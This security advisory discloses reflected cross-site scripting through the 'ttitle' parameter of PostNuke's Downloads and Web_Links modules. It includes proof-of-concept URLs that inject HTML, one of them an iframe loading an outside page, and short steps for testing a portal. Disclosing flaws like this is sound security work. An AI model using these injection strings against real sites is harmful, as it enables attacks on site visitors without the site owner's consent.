PostNuke Downloads & Web_Links ttitle variable XSS
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Product: PostNuke
Vendor: PostNuke WWW.POSTNUKE.COM <http://www.POSTNUKE.COM>
Versions Vulnerable:
PostNuke Phoenix 0.7.x.x
Phoenix 0.7.2.3 with patches ( in all versions )
Phoenix 0.7.2.3 without patches (in all versions )
0.7.2.1
(All prior versions of 0.7.2.3 with/without patches)

NO VULNERABLE VERSIONS

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Description:

PostNuke , one of the most used php portal systems , is affected again 
by XSS attacks , now in some modules that use
vulnerable url-passed variables.Again , the XSS is made by closing tags 
technic ( we think that we were the first group using this technic )
and passing the url encoded value of the "> , it is "%3e .

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SECURITY HOLES FOUND and PROOFS OF CONCEPT:
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I encountered a XSS ( Cross Site Scripting ) vulnerability in the 
ttitle variable of Downloads & Web_Links module that allows you to 
include script code
in the website.

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| XSS IN            |
|      TTITLE       | 
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The XSS is in the VARIABLE OF THE DOWNLOADS MODULE CALLED TTITLE :


http://[HOST]/[PATH]/modules.php?
op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=[ID]
&ttitle=[Yeye XSS ;-)]"%3e[XSS ATTACK]

And you get , of course , the xss attack in the download page .

Simple and fast.

And the Web_Links module hole...

http://[HOST]/[PATH]/modules.php?
op=modload&name=Web_Links&file=index&req=viewlinkdetails&lid=[ID]
&ttitle=[MORE ? ;-(]"%3e[XSS ATTACK]

Examples:

http://[HOST]/[PATH]/modules.php?
op=modload&name=Web_Links&file=index&req=viewlinkdetails&lid=666&ttitle=
Mocosoft Utilities"%3e<h1>I like this hell</h1>

http://[HOST]/[PATH]/modules.php?
op=modload&name=Web_Links&file=index&req=viewlinkdetails&lid=25532543254
46&ttitle=%73%63%6F,%66%61%6B%20%75"%3e<h1>Un ASCII it...</h1><iframe 
src=http://packetstorm.linuxsecurity.com/javascript/text-convertor-
v2.0.html></iframe>

- Proof of Concepts: -

1.- Check a PostNuke portal.
2.- Check if the Downloads / Web_Links modules are active and..
3.- modify the ttitle variable using "%3e and write a xss attack for 
test it.
4.- that's all folks


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Lorenzo Hernandez Garcia-Hierro
--- Computer Security Analyzer ---
--Nova Projects Professional Coding--
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